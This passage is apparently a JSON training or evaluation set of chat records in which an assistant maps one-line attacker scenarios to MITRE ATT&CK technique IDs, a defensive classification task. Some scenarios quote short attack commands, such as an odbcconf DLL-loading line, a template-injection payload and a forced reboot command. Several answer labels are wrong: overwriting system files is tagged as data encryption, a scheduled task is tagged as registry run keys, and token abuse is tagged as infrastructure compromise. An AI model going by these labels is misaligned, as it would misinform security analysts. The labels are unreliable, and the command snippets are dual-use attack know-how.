                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a rule that automatically forwards any attachment-laden emails to a remote collection server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes a Python script that leverages the OS module to modify system registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a proxy chain of three or more compromised devices to route traffic and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider exfiltrated the rule set from the organization's IDS/IPS appliance to understand detection capabilities."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a new registry value at HKLM\\SYSTEM\\CurrentControlSet\\Services\\SomeService\\Parameters containing admin password hashes."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a man‑in‑the‑middle proxy to intercept and modify API calls to a social media service, capturing authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply chain attack, the malicious code harvested the cloud service’s access token from environment variables and used it to enumerate resources."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script runs 'odbcconf.exe -s -f malicious.inf' to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in the SIP subsystem to disable security checks for software updates."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder utilizes the EnumDeviceDrivers function to retrieve driver base addresses."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an intrusion, the attacker introduced a fake installer with a mismatched or broken code signature to trick users into executing ransomware."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email directs victims to a vulnerable web form that injects \"{{ .ShellExecute('calc.exe') }}\" into a .NET Razor view, causing the attacker to run arbitrary commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary overwrites critical system files to render the operating system unbootable."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation tool includes a function to archive sensitive logs and copy the archive onto any connected USB thumb drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs \"driverquery /fo csv\" and parses the CSV for driver details."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Extra Window Memory Injection, the attacker injects shellcode into the memory area of an additional window created by a system service."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a stolen hardware security module (HSM) token to generate a new digital certificate that appears to be issued by the victim’s CA."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses DNS queries to exfiltrate data and obtain new instructions from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses DCOM to impersonate a legitimate service and execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a rootkit to block communication with the platform's secure boot module, nullifying hardware-based integrity checks for encrypted data."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Windows API NetUserGetInfo to obtain cached domain credentials from the local cache."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious scheduled task is created to run a payload with SYSTEM privileges every hour."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a rogue entry to the PATH environment variable, placing a malicious directory before the legitimate binary location, resulting in execution of their code."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a misconfigured Azure Managed Identity to obtain a short‑lived access token, then used that token to read secrets from Azure Key Vault."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured SAML SSO integration to gain unauthorized access to the organization’s source control."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deploys a VPN client on a compromised endpoint, creating a persistent encrypted tunnel that bridges the internal network to the attacker’s external infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses ecosystem-specific search tools like Yandex to discover open directories and file shares associated with the victim."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate database dumps by sending them as messages to a Discord webhook configured as a text storage sink."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor employs asynchronous procedure calls to execute its payload inside a trusted system process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts threat intelligence alerts from a commercial security provider to plan a spear‑phishing campaign against high‑value employees."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By setting the 'GlobalFlag' value in the IFEO registry path for a system executable, the threat actor forces the OS to load a malicious component every time the executable runs."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries apply URL‑encoding to command parameters to bypass network filters."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AS-REP roasting is used to obtain Kerberos ticket hashes from accounts where pre-authentication is disabled, enabling the attacker to crack the passwords offline."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs PowerShell to call the Get‑CachedDomainCredentials function, pulling down Kerberos ticket hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the binary of a system monitoring tool to hide malicious processes."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilizes lateral movement techniques to spread laterally within a network after gaining initial access through a phishing campaign."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds a concealed user profile to the /etc/passwd file on a Linux server, setting the UID to a non‑standard range and disabling the shell to hide its presence from system administrators."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor enumerates all domain controllers by querying DNS SRV records."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the registry to retrieve the list of installed drivers."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code on a compromised IoT sensor initiates a Bluetooth connection to a nearby attacker-controlled device and dumps sensor logs."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of Mimikatz's lsadump::dcsync module, the threat actor harvested credentials from the AD domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious advertisement network, the attacker injects code that triggers a payload when a victim browses a legitimate site."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API, the attacker writes a payload into the TLS slot of a victim process and then creates a new thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious document exploits a macro to run a command-line installer silently on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvested credential hashes from memory and then re-used those hashes to gain administrative privileges on additional network assets."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals harvested malicious PowerShell scripts from a phishing campaign repository to enhance their toolset."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using automated voice synthesis, the threat actor called CFOs and asked them to approve large payments to offshore accounts."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber espionage group collects details about the organization's physical locations by analyzing satellite imagery of corporate campuses."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious Python script parses event logs for specific keywords and alerts the attacker of successful infiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code sets up a symmetric encrypted channel using a pre‑shared key to hide its beaconing."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deployed a malicious PowerShell script that was signed with an expired code signing certificate, allowing it to bypass application whitelisting by masquerading as a legitimate system utility."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors intercept and modify authentication requests on the DC, redirecting them to an attacker-controlled server."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a kernel exploit to access securityd's RAM and harvest saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through SNMP v2c, the adversary collected the device's configuration by dumping the MIB tree."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses the configuration files of a network device and edits the TACACS+ server settings to point to a rogue server under their control."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python backdoor calls \"os.listdir\" on various directories to map out user data and hidden files on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised GitHub Actions workflow to push stolen files to a private webhook listener."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script embedded in a phishing email uses \"shutdown -r -t 60\" to reboot the victim's workstation after a minute, disrupting ongoing work."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages port mirroring on a switch to capture and duplicate network traffic for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor reviews publicly available software repositories for outdated libraries that could be exploited against the target."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote Desktop Protocol is used to persist a foothold by creating a new user account with remote access."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT leverages compromised OAuth tokens to access web service APIs and harvest sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries buy proprietary hardware schematics from illicit vendors on underground forums to gain insight into target systems."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious binaries are downloaded onto the compromised system via HTTP requests to the attacker-controlled server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending specially crafted data to the PubPrn interface, attackers achieve remote code execution via the Windows Print Spooler."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary forges a Kerberos TGT by leveraging the stolen KRBTGT password hash, enabling persistent access across the entire Windows domain without further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors performed a SQL injection that allowed them to modify the website's title and display a fake news article."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware triggers the 7‑Zip DLL via its API to compress victim files into an archive."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a compromised third‑party software update mechanism to push a backdoor onto target systems."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious hyperlinks in documents that, when clicked, direct the victim to a remote server hosting additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kerberoasting is used to steal Kerberos tickets: the attacker requests TGS tickets for service accounts with SPNs and then cracks the tickets offline to recover the underlying passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group modifies the ACL of a critical installer to grant them write access, swaps in a malicious version, and gains code execution when the installer is run by an admin."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool enumerates cloud metadata API endpoints to collect secret keys from the instance profile."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor forces the application to revert to DES encryption, effectively cutting the key space to 56 bits."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
